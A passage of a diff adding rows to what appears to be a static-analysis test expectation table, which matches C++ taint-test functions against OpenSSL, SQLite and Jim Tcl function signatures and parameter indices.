ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:815:7:815:12 | strchr | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:815:7:815:12 | strchr | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:815:7:815:12 | strchr | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:815:7:815:12 | strchr | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:815:7:815:12 | strchr | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | DH_meth_new | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | DSA_meth_new | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | Jim_StrDupLen | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | RSA_meth_new | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | parse_yesno | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:815:7:815:12 | strchr | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:815:7:815:12 | strchr | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:815:7:815:12 | strchr | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:815:7:815:12 | strchr | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:815:7:815:12 | strchr | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:815:7:815:12 | strchr | (int,int) | | BN_security_bits | 1 | +| taint.cpp:815:7:815:12 | strchr | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (int,int) | | acttab_alloc | 1 | +| taint.cpp:815:7:815:12 | strchr | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:815:7:815:12 | strchr | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:815:7:815:12 | strchr | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:815:7:815:12 | strchr | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:815:7:815:12 | strchr | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:815:7:815:12 | strchr | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:815:7:815:12 | strchr | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:815:7:815:12 | strchr | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:815:7:815:12 | strchr | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:815:7:815:12 | strchr | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:815:7:815:12 | strchr | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:815:7:815:12 | strchr | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:817:6:817:27 | write_to_const_ptr_ptr | (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_ptr | 1 | +| taint.cpp:817:6:817:27 | write_to_const_ptr_ptr | (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_string_ptr | 1 | +| taint.cpp:817:6:817:27 | write_to_const_ptr_ptr | (const X509_NAME *,const char **) | | OCSP_url_svcloc_new | 1 | +| taint.cpp:817:6:817:27 | write_to_const_ptr_ptr | (sqlite3_intck *,const char **) | | sqlite3_intck_error | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | Configcmp | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | DES_crypt | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | OPENSSL_strcasecmp | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | get_passwd | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | openssl_fopen | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | ossl_pem_check_suffix | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | ossl_v3_name_cmp | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_strglob | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_stricmp | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (unsigned long *,const char *) | | set_name_ex | 1 | +| vector.cpp:13:6:13:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ASN1_tag2bit | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ASN1_tag2str | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | Jim_ReturnCode | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | Jim_SignalId | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2ln | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2obj | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2sn | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | PKCS12_init | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | Symbol_Nth | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | evp_pkey_type2name | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ossl_tolower | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ossl_toupper | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | sqlite3_errstr | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | tls13_alert_code | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ASN1_STRING_type_new | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ASN1_tag2bit | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ASN1_tag2str | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | EVP_PKEY_asn1_get0 | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | Jim_ReturnCode | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | Jim_SignalId | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OBJ_nid2ln | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OBJ_nid2obj | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OBJ_nid2sn | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OSSL_STORE_INFO_type_string | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OSSL_trace_get_category_name | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | PKCS12_init | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | Symbol_Nth | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_PURPOSE_get0 | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_PURPOSE_get_by_id | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_TRUST_get0 | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_TRUST_get_by_id | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | evp_pkey_type2name | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ossl_cmp_bodytype_to_string | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ossl_tolower | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ossl_toupper | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | sqlite3_compileoption_get | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | sqlite3_errstr | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | tls13_alert_code | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ASN1_STRING_type_new | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ASN1_tag2bit | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ASN1_tag2str | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | EVP_PKEY_asn1_get0 | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | Jim_ReturnCode | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | Jim_SignalId | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OBJ_nid2ln | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OBJ_nid2obj | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OBJ_nid2sn | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OSSL_STORE_INFO_type_string | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OSSL_trace_get_category_name | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | PKCS12_init | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | Symbol_Nth | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_PURPOSE_get0 | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_PURPOSE_get_by_id | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_TRUST_get0 | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_TRUST_get_by_id | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | evp_pkey_type2name | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ossl_cmp_bodytype_to_string | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ossl_tolower | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ossl_toupper | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | sqlite3_compileoption_get | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | sqlite3_errstr | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | tls13_alert_code | 0 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ASYNC_WAIT_CTX *,int) | | 